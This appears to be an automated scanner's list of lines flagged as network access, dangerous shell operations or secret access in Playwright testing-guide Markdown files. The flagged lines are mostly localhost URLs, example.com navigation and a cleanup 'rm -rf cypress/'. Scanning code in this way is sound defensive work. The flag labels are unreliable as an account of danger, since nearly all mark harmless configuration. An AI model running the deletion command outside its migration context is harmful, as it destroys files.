    url: 'http://localhost:4000/health',
  • Network accessline 993
    {     command: 'npm run dev',     url: 'http://localhost:3000',
  • Network accessline 994
    command: 'npm run dev',     url: 'http://localhost:3000',     reuseExistingServer: !process.env.CI,
  • Network accessline 995
    url: 'http://localhost:3000',
  • Network accessline 1006
    | Test `getServerSideProps` by importing and calling it directly  | It depends on `context` (req/res) that Playwright cannot provide; it is a unit test concern   | Navigate to the page and verify the rendered output                         
  • Network accessline 1007
    | Mock your own API routes with `page.route()`                    | You are testing a fiction; your API handler may have bugs the mock hides                      | Let the real API route handle requests; mock only external services         
  • Network accessline 1008
    | Use `page.goto('http://localhost:3000/path')` with full URL     | Breaks when port or host changes; ignores `baseURL`                                           | Use `page.goto('/path')` and configure `baseURL` in config                  

skills/playwright/core/react.md

  • Network accessline 43
    use: {     baseURL: "http://localhost:5173", // Vite default port
  • Network accessline 44
    baseURL: "http://localhost:5173", // Vite default port
  • Network accessline 67
    : // ? 'npm run build && npx vite preview --port 5173' // Vite         "npm run dev",     url: "http://localhost:5173",
  • Network accessline 68
    "npm run dev",     url: "http://localhost:5173",     reuseExistingServer: !process.env.CI,
  • Network accessline 69
    url: "http://localhost:5173",
  • Network accessline 90
    use: {     baseURL: "http://localhost:5173",
  • Network accessline 91
    baseURL: "http://localhost:5173",
  • Network accessline 111
    webServer: {     command: process.env.CI ? "npm run build && npx serve -s build -l 5173" : "npm run dev",     url: "http://localhost:5173",
  • Network accessline 112
    command: process.env.CI ? "npm run build && npx serve -s build -l 5173" : "npm run dev",     url: "http://localhost:5173",     reuseExistingServer: !process.env.CI,
  • Network accessline 113
    url: "http://localhost:5173",

skills/playwright/core/security-testing.md

  • Dangerous shell operationline 227
    expect(csp).not.toContain("'unsafe-eval'") // Disallow eval()
  • Network accessline 451
    test("HTTP redirects to HTTPS", async ({ request }) => {   // Use the API request context to follow redirects   const response = await request.get("http://your-app.com/", {
  • Network accessline 452
    // Use the API request context to follow redirects   const response = await request.get("http://your-app.com/", {     maxRedirects: 0, // Don't follow — inspect the redirect
  • Network accessline 453
    const response = await request.get("http://your-app.com/", {
  • Network accessline 626
    | CSRF test passes without token                       | CSRF protection disabled in test environment | Enable CSRF in test environment or run against staging                                      | | XSS payload does not execute but test pa
  • Network accessline 627
    | XSS payload does not execute but test passes         | Framework auto-escapes by default            | Still test -- the test confirms the protection works; add edge cases for raw HTML rendering | | `context.cookies()` returns empty       
  • Network accessline 628
    | `context.cookies()` returns empty                    | Cookies set on a different domain or path    | Pass the specific URL to `context.cookies('https://your-app.com')`                          |

skills/playwright/core/service-workers-and-pwa.md

  • Network accessline 9
    // Service workers require a persistent context — use launchPersistentContext const context = await chromium.launchPersistentContext(userDataDir, {   baseURL: "https://localhost:3000",
  • Network accessline 10
    const context = await chromium.launchPersistentContext(userDataDir, {   baseURL: "https://localhost:3000", })
  • Network accessline 11
    baseURL: "https://localhost:3000",
  • Network accessline 42
    const userDataDir = path.join(__dirname, ".tmp-profile")     const context = await chromium.launchPersistentContext(userDataDir, {       baseURL: "https://localhost:3000",
  • Network accessline 43
    const context = await chromium.launchPersistentContext(userDataDir, {       baseURL: "https://localhost:3000",     })
  • Network accessline 44
    baseURL: "https://localhost:3000",
  • Network accessline 80
    const userDataDir = path.join(__dirname, ".tmp-profile")     const context = await chromium.launchPersistentContext(userDataDir, {       baseURL: "https://localhost:3000",
  • Network accessline 81
    const context = await chromium.launchPersistentContext(userDataDir, {       baseURL: "https://localhost:3000",     })
  • Network accessline 82
    baseURL: "https://localhost:3000",

skills/playwright/core/test-architecture.md

  • Access to secretsline 310
    [Credential-related source omitted]

skills/playwright/core/test-data-management.md

  • Access to secretsline 879
    [Credential-related source omitted]
  • Network accessline 891
    # .env.local BASE_URL=http://localhost:3000
  • Network accessline 892
    BASE_URL=http://localhost:3000
  • Network accessline 896
    # .env.staging BASE_URL=https://staging.example.com
  • Network accessline 897
    BASE_URL=https://staging.example.com

skills/playwright/core/test-organization.md

  • Network accessline 674
    testDir: "./apps/web/tests",       use: {         baseURL: "http://localhost:3000",
  • Network accessline 675
    use: {         baseURL: "http://localhost:3000",       },
  • Network accessline 676
    baseURL: "http://localhost:3000",
  • Network accessline 681
    testDir: "./apps/admin/tests",       use: {         baseURL: "http://localhost:3001",
  • Network accessline 682
    use: {         baseURL: "http://localhost:3001",       },
  • Network accessline 683
    baseURL: "http://localhost:3001",
  • Network accessline 688
    testDir: "./apps/marketing/tests",       use: {         baseURL: "http://localhost:4000",
  • Network accessline 689
    use: {         baseURL: "http://localhost:4000",       },
  • Network accessline 690
    baseURL: "http://localhost:4000",
  • Network accessline 707
    testDir: "./apps/web/tests",       use: {         baseURL: "http://localhost:3000",
  • Network accessline 708
    use: {         baseURL: "http://localhost:3000",       },
  • Network accessline 709
    baseURL: "http://localhost:3000",
  • Network accessline 714
    testDir: "./apps/admin/tests",       use: {         baseURL: "http://localhost:3001",
  • Network accessline 715
    use: {         baseURL: "http://localhost:3001",       },
  • Network accessline 716
    baseURL: "http://localhost:3001",
  • Network accessline 721
    testDir: "./apps/marketing/tests",       use: {         baseURL: "http://localhost:4000",
  • Network accessline 722
    use: {         baseURL: "http://localhost:4000",       },
  • Network accessline 723
    baseURL: "http://localhost:4000",

skills/playwright/core/third-party-integrations.md

  • Network accessline 66
    name: "Test User",           email: "testuser@gmail.com",           avatar: "https://placehold.co/100x100",
  • Network accessline 67
    email: "testuser@gmail.com",           avatar: "https://placehold.co/100x100",         },
  • Network accessline 68
    avatar: "https://placehold.co/100x100",
  • Access to secretsline 182
    [Credential-related source omitted]

skills/playwright/core/vue.md

  • Network accessline 43
    use: {     baseURL: "http://localhost:5173",
  • Network accessline 44
    baseURL: "http://localhost:5173",
  • Network accessline 64
    webServer: {     command: process.env.CI ? "npm run build && npx vite preview --port 5173" : "npm run dev",     url: "http://localhost:5173",
  • Network accessline 65
    command: process.env.CI ? "npm run build && npx vite preview --port 5173" : "npm run dev",     url: "http://localhost:5173",     reuseExistingServer: !process.env.CI,
  • Network accessline 66
    url: "http://localhost:5173",
  • Network accessline 87
    use: {     baseURL: "http://localhost:5173",
  • Network accessline 88
    baseURL: "http://localhost:5173",
  • Network accessline 108
    webServer: {     command: process.env.CI ? "npm run build && npx vite preview --port 5173" : "npm run dev",     url: "http://localhost:5173",
  • Network accessline 109
    command: process.env.CI ? "npm run build && npx vite preview --port 5173" : "npm run dev",     url: "http://localhost:5173",     reuseExistingServer: !process.env.CI,
  • Network accessline 110
    url: "http://localhost:5173",
  • Network accessline 184
    use: {     baseURL: "http://localhost:3000",
  • Network accessline 185
    baseURL: "http://localhost:3000",
  • Network accessline 197
    webServer: {     command: process.env.CI ? "npx nuxi build && npx nuxi preview" : "npx nuxi dev",     url: "http://localhost:3000",
  • Network accessline 198
    command: process.env.CI ? "npx nuxi build && npx nuxi preview" : "npx nuxi dev",     url: "http://localhost:3000",     reuseExistingServer: !process.env.CI,
  • Network accessline 199
    url: "http://localhost:3000",
  • Network accessline 201
    timeout: 120_000,     env: {       NUXT_PUBLIC_API_BASE: "http://localhost:3000/api",
  • Network accessline 202
    env: {       NUXT_PUBLIC_API_BASE: "http://localhost:3000/api",     },
  • Network accessline 203
    NUXT_PUBLIC_API_BASE: "http://localhost:3000/api",
  • Network accessline 222
    use: {     baseURL: "http://localhost:3000",
  • Network accessline 223
    baseURL: "http://localhost:3000",
  • Network accessline 235
    webServer: {     command: process.env.CI ? "npx nuxi build && npx nuxi preview" : "npx nuxi dev",     url: "http://localhost:3000",
  • Network accessline 236
    command: process.env.CI ? "npx nuxi build && npx nuxi preview" : "npx nuxi dev",     url: "http://localhost:3000",     reuseExistingServer: !process.env.CI,
  • Network accessline 237
    url: "http://localhost:3000",
  • Network accessline 239
    timeout: 120_000,     env: {       NUXT_PUBLIC_API_BASE: "http://localhost:3000/api",
  • Network accessline 240
    env: {       NUXT_PUBLIC_API_BASE: "http://localhost:3000/api",     },
  • Network accessline 241
    NUXT_PUBLIC_API_BASE: "http://localhost:3000/api",

skills/playwright/core/when-to-mock.md

  • Network accessline 77
    body: JSON.stringify({         status: "succeeded",         receiptUrl: "https://receipt.example.com/123",
  • Network accessline 78
    status: "succeeded",         receiptUrl: "https://receipt.example.com/123",       }),
  • Network accessline 79
    receiptUrl: "https://receipt.example.com/123",
  • Network accessline 129
    body: JSON.stringify({         status: "succeeded",         receiptUrl: "https://receipt.example.com/123",
  • Network accessline 130
    status: "succeeded",         receiptUrl: "https://receipt.example.com/123",       }),
  • Network accessline 131
    receiptUrl: "https://receipt.example.com/123",
  • Network accessline 168
    // Let the real API call go through, but override the stock count   await page.route("**/api/products/*", async (route) => {     const response = await route.fetch() // forward to real server
  • Network accessline 169
    await page.route("**/api/products/*", async (route) => {     const response = await route.fetch() // forward to real server     const body = await response.json()
  • Network accessline 170
    const response = await route.fetch() // forward to real server
  • Network accessline 188
    test("inject additional items into a real API response", async ({ page }) => {   await page.route("**/api/notifications", async (route) => {     const response = await route.fetch()
  • Network accessline 189
    await page.route("**/api/notifications", async (route) => {     const response = await route.fetch()     const body = await response.json()
  • Network accessline 190
    const response = await route.fetch()
  • Network accessline 217
    test("show warning when inventory is low", async ({ page }) => {   await page.route("**/api/products/*", async (route) => {     const response = await route.fetch()
  • Network accessline 218
    await page.route("**/api/products/*", async (route) => {     const response = await route.fetch()     const body = await response.json()
  • Network accessline 219
    const response = await route.fetch()
  • Network accessline 236
    test("inject additional items into a real API response", async ({ page }) => {   await page.route("**/api/notifications", async (route) => {     const response = await route.fetch()
  • Network accessline 237
    await page.route("**/api/notifications", async (route) => {     const response = await route.fetch()     const body = await response.json()
  • Network accessline 238
    const response = await route.fetch()
  • Network accessline 400
    export default defineConfig({   use: {     baseURL: process.env.CI ? "https://staging.yourapp.com" : "http://localhost:3000",
  • Network accessline 401
    use: {     baseURL: process.env.CI ? "https://staging.yourapp.com" : "http://localhost:3000",   },
  • Network accessline 402
    baseURL: process.env.CI ? "https://staging.yourapp.com" : "http://localhost:3000",
  • Network accessline 406
    name: "integration",       testMatch: "**/*.integration.spec.ts",       use: { baseURL: "https://staging.yourapp.com" },
  • Network accessline 407
    testMatch: "**/*.integration.spec.ts",       use: { baseURL: "https://staging.yourapp.com" },     },
  • Network accessline 408
    use: { baseURL: "https://staging.yourapp.com" },
  • Network accessline 411
    name: "e2e",       testMatch: "**/*.e2e.spec.ts",       use: { baseURL: "http://localhost:3000" },
  • Network accessline 412
    testMatch: "**/*.e2e.spec.ts",       use: { baseURL: "http://localhost:3000" },     },
  • Network accessline 413
    use: { baseURL: "http://localhost:3000" },
  • Network accessline 425
    module.exports = defineConfig({   use: {     baseURL: process.env.CI ? "https://staging.yourapp.com" : "http://localhost:3000",
  • Network accessline 426
    use: {     baseURL: process.env.CI ? "https://staging.yourapp.com" : "http://localhost:3000",   },
  • Network accessline 427
    baseURL: process.env.CI ? "https://staging.yourapp.com" : "http://localhost:3000",
  • Network accessline 431
    name: "integration",       testMatch: "**/*.integration.spec.js",       use: { baseURL: "https://staging.yourapp.com" },
  • Network accessline 432
    testMatch: "**/*.integration.spec.js",       use: { baseURL: "https://staging.yourapp.com" },     },
  • Network accessline 433
    use: { baseURL: "https://staging.yourapp.com" },
  • Network accessline 436
    name: "e2e",       testMatch: "**/*.e2e.spec.js",       use: { baseURL: "http://localhost:3000" },
  • Network accessline 437
    testMatch: "**/*.e2e.spec.js",       use: { baseURL: "http://localhost:3000" },     },
  • Network accessline 438
    use: { baseURL: "http://localhost:3000" },
  • Network accessline 455
    webServer: {     command: "npm run dev",     url: "http://localhost:3000",
  • Network accessline 456
    command: "npm run dev",     url: "http://localhost:3000",     reuseExistingServer: !process.env.CI, // start fresh in CI, reuse locally
  • Network accessline 457
    url: "http://localhost:3000",
  • Network accessline 460
    },   use: {     baseURL: "http://localhost:3000",
  • Network accessline 461
    use: {     baseURL: "http://localhost:3000",   },
  • Network accessline 462
    baseURL: "http://localhost:3000",
  • Network accessline 474
    webServer: {     command: "npm run dev",     url: "http://localhost:3000",
  • Network accessline 475
    command: "npm run dev",     url: "http://localhost:3000",     reuseExistingServer: !process.env.CI,
  • Network accessline 476
    url: "http://localhost:3000",
  • Network accessline 479
    },   use: {     baseURL: "http://localhost:3000",
  • Network accessline 480
    use: {     baseURL: "http://localhost:3000",   },
  • Network accessline 481
    baseURL: "http://localhost:3000",
  • Network accessline 497
    webServer: {     command: "docker compose -f docker-compose.test.yml up --wait",     url: "http://localhost:3000/health",
  • Network accessline 498
    command: "docker compose -f docker-compose.test.yml up --wait",     url: "http://localhost:3000/health",     reuseExistingServer: !process.env.CI,
  • Network accessline 499
    url: "http://localhost:3000/health",
  • Network accessline 502
    },   use: {     baseURL: "http://localhost:3000",
  • Network accessline 503
    use: {     baseURL: "http://localhost:3000",   },
  • Network accessline 504
    baseURL: "http://localhost:3000",
  • Network accessline 529
    webServer: {     command: "docker compose -f docker-compose.test.yml up --wait",     url: "http://localhost:3000/health",
  • Network accessline 530
    command: "docker compose -f docker-compose.test.yml up --wait",     url: "http://localhost:3000/health",     reuseExistingServer: !process.env.CI,
  • Network accessline 531
    url: "http://localhost:3000/health",
  • Network accessline 534
    },   use: {     baseURL: "http://localhost:3000",
  • Network accessline 535
    use: {     baseURL: "http://localhost:3000",   },
  • Network accessline 536
    baseURL: "http://localhost:3000",
  • Network accessline 716
    testMatch: "**/*.spec.ts",       use: {         baseURL: "http://localhost:3000",
  • Network accessline 717
    use: {         baseURL: "http://localhost:3000",         // All external services mocked via fixtures
  • Network accessline 718
    baseURL: "http://localhost:3000",
  • Network accessline 724
    testMatch: "**/*.integration.spec.ts",       use: {         baseURL: "https://staging.yourapp.com",
  • Network accessline 725
    use: {         baseURL: "https://staging.yourapp.com",         // Real services, longer timeouts
  • Network accessline 726
    baseURL: "https://staging.yourapp.com",
  • Network accessline 745
    testMatch: "**/*.spec.js",       use: {         baseURL: "http://localhost:3000",
  • Network accessline 746
    use: {         baseURL: "http://localhost:3000",       },
  • Network accessline 747
    baseURL: "http://localhost:3000",
  • Network accessline 752
    testMatch: "**/*.integration.spec.js",       use: {         baseURL: "https://staging.yourapp.com",
  • Network accessline 753
    use: {         baseURL: "https://staging.yourapp.com",       },
  • Network accessline 754
    baseURL: "https://staging.yourapp.com",

skills/playwright/migration/from-cypress.md

  • Access to secretsline 48
    [Credential-related source omitted]
  • Access to secretsline 86
    [Credential-related source omitted]
  • Network accessline 783
    use: {     baseURL: "http://localhost:3000", // Matches Cypress baseUrl
  • Network accessline 784
    baseURL: "http://localhost:3000", // Matches Cypress baseUrl
  • Network accessline 797
    webServer: {     command: "npm run dev",     url: "http://localhost:3000",
  • Network accessline 798
    command: "npm run dev",     url: "http://localhost:3000",     reuseExistingServer: !process.env.CI,
  • Network accessline 799
    url: "http://localhost:3000",
  • Network accessline 819
    use: {     baseURL: "http://localhost:3000",
  • Network accessline 820
    baseURL: "http://localhost:3000",
  • Network accessline 831
    webServer: {     command: "npm run dev",     url: "http://localhost:3000",
  • Network accessline 832
    command: "npm run dev",     url: "http://localhost:3000",     reuseExistingServer: !process.env.CI,
  • Network accessline 833
    url: "http://localhost:3000",
  • Dangerous shell operationline 914
    rm -rf cypress/
  • Dangerous shell operationline 915
    rm cypress.config.js   # or .ts
  • Network accessline 1188
    npx playwright codegen http://localhost:3000

skills/playwright/migration/from-selenium.md

  • Network accessline 178
    @Test     void userCanLogIn() {         driver.get("https://myapp.com/login");
  • Network accessline 180
    driver.get("https://myapp.com/login");
  • Network accessline 254
    @Test void searchReturnsResults() {     driver.get("https://myapp.com/products");
  • Network accessline 256
    driver.get("https://myapp.com/products");
  • Network accessline 326
    @Test void fillPaymentFormInIframe() {     driver.get("https://myapp.com/checkout");
  • Network accessline 328
    driver.get("https://myapp.com/checkout");
  • Network accessline 408
    @Test void handlePopupWindow() {     driver.get("https://myapp.com/settings");
  • Network accessline 410
    driver.get("https://myapp.com/settings");
  • Network accessline 493
    @Test void dragAndDropTask() {     driver.get("https://myapp.com/kanban");
  • Network accessline 495
    driver.get("https://myapp.com/kanban");
  • Network accessline 586
    testDir: "./tests-playwright", // separate from Selenium tests   use: {     baseURL: "https://staging.myapp.com",
  • Network accessline 587
    use: {     baseURL: "https://staging.myapp.com",     trace: "on-first-retry",
  • Network accessline 588
    baseURL: "https://staging.myapp.com",
  • Network accessline 602
    testDir: "./tests-playwright",   use: {     baseURL: "https://staging.myapp.com",
  • Network accessline 603
    use: {     baseURL: "https://staging.myapp.com",     trace: "on-first-retry",
  • Network accessline 604
    baseURL: "https://staging.myapp.com",
  • Access to secretsline 854
    [Credential-related source omitted]
  • Network accessline 954
    npx playwright codegen https://myapp.com

skills/playwright/playwright-cli/SKILL.md

  • Network accessline 18
    # Open a browser and navigate playwright-cli open https://playwright.dev
  • Network accessline 19
    playwright-cli open https://playwright.dev
  • Dangerous shell operationline 68
    playwright-cli eval "document.title"         # Evaluate JS expression
  • Dangerous shell operationline 69
    playwright-cli eval "el => el.textContent" <ref>  # Evaluate on element

skills/playwright/playwright-cli/advanced-workflows.md

  • Network accessline 11
    const data = [];   for (let i = 1; i <= 5; i++) {     await page.goto(\`https://example.com/page/\${i}\`);
  • Network accessline 12
    for (let i = 1; i <= 5; i++) {     await page.goto(\`https://example.com/page/\${i}\`);     const items = await page.locator('.item').allTextContents();
  • Network accessline 13
    await page.goto(\`https://example.com/page/\${i}\`);
  • Network accessline 78
    playwright-cli run-code "async page => {   await page.goto('https://app.example.com/login');
  • Network accessline 79
    await page.goto('https://app.example.com/login');
  • Network accessline 106
    playwright-cli run-code "async page => {   await page.goto('https://example.com/products');
  • Network accessline 107
    await page.goto('https://example.com/products');
  • Network accessline 138
    playwright-cli run-code "async page => {   await page.goto('https://example.com/feed');
  • Network accessline 139
    await page.goto('https://example.com/feed');
  • Network accessline 180
    playwright-cli -s=site1 open https://news.example.com &
  • Network accessline 181
    playwright-cli -s=site2 open https://blog.example.com &
  • Network accessline 182
    playwright-cli -s=site3 open https://docs.example.com &
  • Network accessline 405
    # Step 1: Personal Info playwright-cli open https://example.com/apply
  • Network accessline 406
    playwright-cli open https://example.com/apply
  • Network accessline 440
    playwright-cli run-code "async page => {   await page.goto('https://example.com/registration');
  • Network accessline 441
    await page.goto('https://example.com/registration');
  • Network accessline 470
    playwright-cli run-code "async page => {   await page.goto('https://example.com/reports');
  • Network accessline 471
    await page.goto('https://example.com/reports');
  • Network accessline 519
    playwright-cli run-code "async page => {   await page.goto('https://example.com');
  • Network accessline 520
    await page.goto('https://example.com');
  • Network accessline 543
    for (let attempt = 1; attempt <= maxRetries; attempt++) {     try {       await page.goto('https://flaky-site.example.com', { timeout: 15000 });
  • Network accessline 544
    try {       await page.goto('https://flaky-site.example.com', { timeout: 15000 });       await page.waitForSelector('.content', { timeout: 5000 });
  • Network accessline 545
    await page.goto('https://flaky-site.example.com', { timeout: 15000 });
  • Network accessline 607
    # 1. Start fresh session playwright-cli open https://app.example.com --persistent
  • Network accessline 608
    playwright-cli open https://app.example.com --persistent
  • Network accessline 620
    # 4. Log in playwright-cli goto https://app.example.com/login
  • Network accessline 621
    playwright-cli goto https://app.example.com/login
  • Network accessline 652
    STAGING="https://staging.example.com"
  • Network accessline 653
    PROD="https://www.example.com"

skills/playwright/playwright-cli/core-commands.md

  • Network accessline 9
    playwright-cli open https://example.com     # Launch + navigate
  • Network accessline 22
    playwright-cli open https://example.com/login
  • Network accessline 65
    # Open and navigate immediately playwright-cli open https://example.com
  • Network accessline 66
    playwright-cli open https://example.com
  • Network accessline 80
    # Auto-generated profile directory playwright-cli open https://example.com --persistent
  • Network accessline 81
    playwright-cli open https://example.com --persistent
  • Network accessline 83
    # Custom profile directory playwright-cli open https://example.com --profile=/tmp/my-profile
  • Network accessline 84
    playwright-cli open https://example.com --profile=/tmp/my-profile
  • Network accessline 86
    # With a config file playwright-cli open https://example.com --config=my-config.json
  • Network accessline 87
    playwright-cli open https://example.com --config=my-config.json
  • Network accessline 110
    playwright-cli goto https://example.com/dashboard    # Navigate to URL
  • Network accessline 249
    playwright-cli open https://example.com/canvas-app
  • Dangerous shell operationline 287
    playwright-cli eval "document.title"
  • Dangerous shell operationline 288
    playwright-cli eval "window.location.href"
  • Dangerous shell operationline 289
    playwright-cli eval "document.querySelectorAll('li').length"
  • Dangerous shell operationline 292
    playwright-cli eval "el => el.textContent" e5
  • Dangerous shell operationline 293
    playwright-cli eval "el => el.getAttribute('href')" e3
  • Dangerous shell operationline 294
    playwright-cli eval "el => el.getBoundingClientRect()" e1
  • Dangerous shell operationline 297
    playwright-cli eval "JSON.stringify(performance.timing)"
  • Dangerous shell operationline 298
    playwright-cli eval "window.innerWidth + 'x' + window.innerHeight"
  • Network accessline 306
    playwright-cli open https://app.example.com/login
  • Network accessline 320
    playwright-cli open https://example.com/contact
  • Network accessline 340
    playwright-cli open https://example.com
  • Network accessline 356
    playwright-cli open https://docs.example.com
  • Network accessline 357
    playwright-cli tab-new https://api.example.com/reference
  • Network accessline 358
    playwright-cli tab-new https://github.com/example/repo

skills/playwright/playwright-cli/device-emulation.md

  • Network accessline 9
    # Device emulation via config playwright-cli open https://example.com --config=iphone.json
  • Network accessline 10
    playwright-cli open https://example.com --config=iphone.json
  • Network accessline 102
    playwright-cli open https://example.com --config=iphone14.json
  • Network accessline 195
    playwright-cli goto https://example.com/nearby-stores
  • Network accessline 229
    playwright-cli open https://example.com --config=geo-nyc.json
  • Network accessline 257
    playwright-cli open https://example.com --config=locale-de.json
  • Network accessline 362
    playwright-cli run-code "async page => {   await page.context().grantPermissions(['notifications'], {     origin: 'https://example.com'
  • Network accessline 363
    await page.context().grantPermissions(['notifications'], {     origin: 'https://example.com'   });
  • Network accessline 364
    origin: 'https://example.com'
  • Network accessline 422
    #!/bin/bash URL="https://example.com"
  • Network accessline 423
    URL="https://example.com"
  • Network accessline 455
    playwright-cli open https://example.com

skills/playwright/playwright-cli/request-mocking.md

  • Network accessline 35
    | Pattern                      | Matches                           | Example URLs                              | | ---------------------------- | --------------------------------- | ----------------------------------------- | | `**/api/user
  • Network accessline 36
    | ---------------------------- | --------------------------------- | ----------------------------------------- | | `**/api/users`               | Exact path on any origin          | `https://api.example.com/api/users`       | | `**/api/*/de
  • Network accessline 37
    | `**/api/users`               | Exact path on any origin          | `https://api.example.com/api/users`       |
  • Network accessline 38
    | `**/api/*/details`           | Wildcard in path segment          | `https://api.example.com/api/123/details` |
  • Network accessline 39
    | `**/*.{png,jpg,jpeg}`        | Multiple file extensions          | `https://cdn.example.com/hero.png`        | | `**/search?q=*`              | Query parameters                  | `https://example.com/search?q=test`       | | `https://api
  • Network accessline 40
    | `**/search?q=*`              | Query parameters                  | `https://example.com/search?q=test`       | | `https://api.example.com/**` | All requests to a specific origin | `https://api.example.com/v2/users`        | | `**/*`      
  • Network accessline 41
    | `https://api.example.com/**` | All requests to a specific origin | `https://api.example.com/v2/users`        |
  • Network accessline 169
    playwright-cli run-code "async page => {   await page.route('**/api/user/profile', async route => {     const response = await route.fetch();
  • Network accessline 170
    await page.route('**/api/user/profile', async route => {     const response = await route.fetch();     const json = await response.json();
  • Network accessline 171
    const response = await route.fetch();
  • Network accessline 186
    playwright-cli run-code "async page => {   await page.route('**/api/**', async route => {     const response = await route.fetch();
  • Network accessline 187
    await page.route('**/api/**', async route => {     const response = await route.fetch();     const headers = { ...response.headers(), 'x-mock': 'true' };
  • Network accessline 188
    const response = await route.fetch();
  • Network accessline 337
    url: '**/api/**'   });   await page.goto('https://example.com');
  • Network accessline 338
    });   await page.goto('https://example.com');   // Interact with the page — all matching requests are recorded
  • Network accessline 339
    await page.goto('https://example.com');   // Interact with the page — all matching requests are recorded }"
  • Network accessline 346
    url: '**/api/**'   });   await page.goto('https://example.com');
  • Network accessline 347
    });   await page.goto('https://example.com');   // API responses come from the HAR file
  • Network accessline 348
    await page.goto('https://example.com');
  • Network accessline 369
    - **Order matters**: Routes are evaluated in the order they were added. More specific patterns should be added before catch-all patterns. - **`route.continue()`**: Lets the request proceed to the real server — use this in conditional routes
  • Network accessline 370
    - **`route.continue()`**: Lets the request proceed to the real server — use this in conditional routes for the "pass-through" case. - **`route.fetch()`**: Makes the real request and returns the response, so you can inspect or modify it befo
  • Network accessline 371
    - **`route.fetch()`**: Makes the real request and returns the response, so you can inspect or modify it before fulfilling.

skills/playwright/playwright-cli/running-custom-code.md

  • Network accessline 74
    playwright-cli run-code "async page => {   await page.context().grantPermissions(['clipboard-read', 'clipboard-write'], {     origin: 'https://example.com'
  • Network accessline 75
    await page.context().grantPermissions(['clipboard-read', 'clipboard-write'], {     origin: 'https://example.com'   });
  • Network accessline 76
    origin: 'https://example.com'
  • Network accessline 463
    playwright-cli run-code "async page => {   await page.goto('https://example.com/login');
  • Network accessline 464
    await page.goto('https://example.com/login');
  • Network accessline 478
    const results = [];   for (let i = 1; i <= 5; i++) {     await page.goto(\`https://example.com/products?page=\${i}\`);
  • Network accessline 479
    for (let i = 1; i <= 5; i++) {     await page.goto(\`https://example.com/products?page=\${i}\`);     await page.waitForSelector('.product-card');
  • Network accessline 480
    await page.goto(\`https://example.com/products?page=\${i}\`);
  • Network accessline 525
    playwright-cli run-code "async page => {   await page.goto('https://example.com/feed');
  • Network accessline 526
    await page.goto('https://example.com/feed');
  • Access to secretsline 550
    [Credential-related source omitted]

skills/playwright/playwright-cli/screenshots-and-media.md

  • Network accessline 263
    # Perform actions (everything is recorded) playwright-cli open https://example.com
  • Network accessline 264
    playwright-cli open https://example.com
  • Network accessline 335
    playwright-cli open https://app.example.com
  • Network accessline 348
    # Navigate to settings playwright-cli goto https://app.example.com/settings
  • Network accessline 349
    playwright-cli goto https://app.example.com/settings
  • Network accessline 352
    # Generate PDF of documentation page playwright-cli goto https://app.example.com/docs
  • Network accessline 353
    playwright-cli goto https://app.example.com/docs
  • Network accessline 360
    playwright-cli open https://example.com
  • Network accessline 374
    #!/bin/bash URL="https://example.com"
  • Network accessline 375
    URL="https://example.com"

skills/playwright/playwright-cli/session-management.md

  • Network accessline 9
    # Named sessions: each has independent cookies, storage, tabs playwright-cli -s=auth open https://app.example.com/login
  • Network accessline 10
    playwright-cli -s=auth open https://app.example.com/login
  • Network accessline 11
    playwright-cli -s=public open https://example.com
  • Network accessline 40
    # Create a session for authentication testing playwright-cli -s=admin open https://app.example.com/login
  • Network accessline 41
    playwright-cli -s=admin open https://app.example.com/login
  • Network accessline 43
    # Create a separate session for a different user playwright-cli -s=viewer open https://app.example.com/login
  • Network accessline 44
    playwright-cli -s=viewer open https://app.example.com/login
  • Network accessline 61
    # These all use the same default session playwright-cli open https://example.com
  • Network accessline 62
    playwright-cli open https://example.com
  • Network accessline 73
    # Session A logs in as admin playwright-cli -s=admin open https://app.example.com
  • Network accessline 74
    playwright-cli -s=admin open https://app.example.com
  • Network accessline 79
    # Session B visits the same site — NOT logged in playwright-cli -s=guest open https://app.example.com
  • Network accessline 80
    playwright-cli -s=guest open https://app.example.com
  • Network accessline 84
    # Session C can use a completely different browser playwright-cli -s=firefox-test open https://app.example.com --browser=firefox
  • Network accessline 85
    playwright-cli -s=firefox-test open https://app.example.com --browser=firefox
  • Network accessline 120
    # Playwright-cli manages the profile directory automatically playwright-cli -s=myapp open https://example.com --persistent
  • Network accessline 121
    playwright-cli -s=myapp open https://example.com --persistent
  • Network accessline 123
    # Close and reopen — cookies and storage are preserved playwright-cli -s=myapp close playwright-cli -s=myapp open https://example.com --persistent
  • Network accessline 124
    playwright-cli -s=myapp close playwright-cli -s=myapp open https://example.com --persistent # Still logged in!
  • Network accessline 125
    playwright-cli -s=myapp open https://example.com --persistent
  • Network accessline 132
    # Specify exactly where to store profile data playwright-cli -s=myapp open https://example.com --profile=/tmp/my-browser-profile
  • Network accessline 133
    playwright-cli -s=myapp open https://example.com --profile=/tmp/my-browser-profile
  • Network accessline 135
    # Useful for sharing profiles between sessions playwright-cli -s=session-a open https://example.com --profile=/shared/profile
  • Network accessline 136
    playwright-cli -s=session-a open https://example.com --profile=/shared/profile
  • Network accessline 138
    playwright-cli -s=session-b open https://example.com --profile=/shared/profile
  • Network accessline 154
    # Different browsers for different sessions playwright-cli -s=chrome-test open https://example.com --browser=chrome
  • Network accessline 155
    playwright-cli -s=chrome-test open https://example.com --browser=chrome
  • Network accessline 156
    playwright-cli -s=firefox-test open https://example.com --browser=firefox
  • Network accessline 157
    playwright-cli -s=webkit-test open https://example.com --browser=webkit
  • Network accessline 158
    playwright-cli -s=edge-test open https://example.com --browser=msedge
  • Network accessline 160
    # With config file playwright-cli -s=configured open https://example.com --config=my-config.json
  • Network accessline 161
    playwright-cli -s=configured open https://example.com --config=my-config.json
  • Network accessline 163
    # Headed mode (visible browser window) playwright-cli -s=visible open https://example.com --headed
  • Network accessline 164
    playwright-cli -s=visible open https://example.com --headed
  • Network accessline 177
    # These now use "mysession" automatically playwright-cli open https://example.com
  • Network accessline 178
    playwright-cli open https://example.com
  • Network accessline 190
    # Admin session playwright-cli -s=admin open https://app.example.com/login
  • Network accessline 191
    playwright-cli -s=admin open https://app.example.com/login
  • Network accessline 197
    # Regular user session playwright-cli -s=user open https://app.example.com/login
  • Network accessline 198
    playwright-cli -s=user open https://app.example.com/login
  • Network accessline 218
    # Launch all browsers concurrently playwright-cli -s=site1 open https://site1.example.com &
  • Network accessline 219
    playwright-cli -s=site1 open https://site1.example.com &
  • Network accessline 220
    playwright-cli -s=site2 open https://site2.example.com &
  • Network accessline 221
    playwright-cli -s=site3 open https://site3.example.com &
  • Network accessline 241
    # Variant A playwright-cli -s=variant-a open "https://app.example.com?variant=a"
  • Network accessline 242
    playwright-cli -s=variant-a open "https://app.example.com?variant=a"
  • Network accessline 245
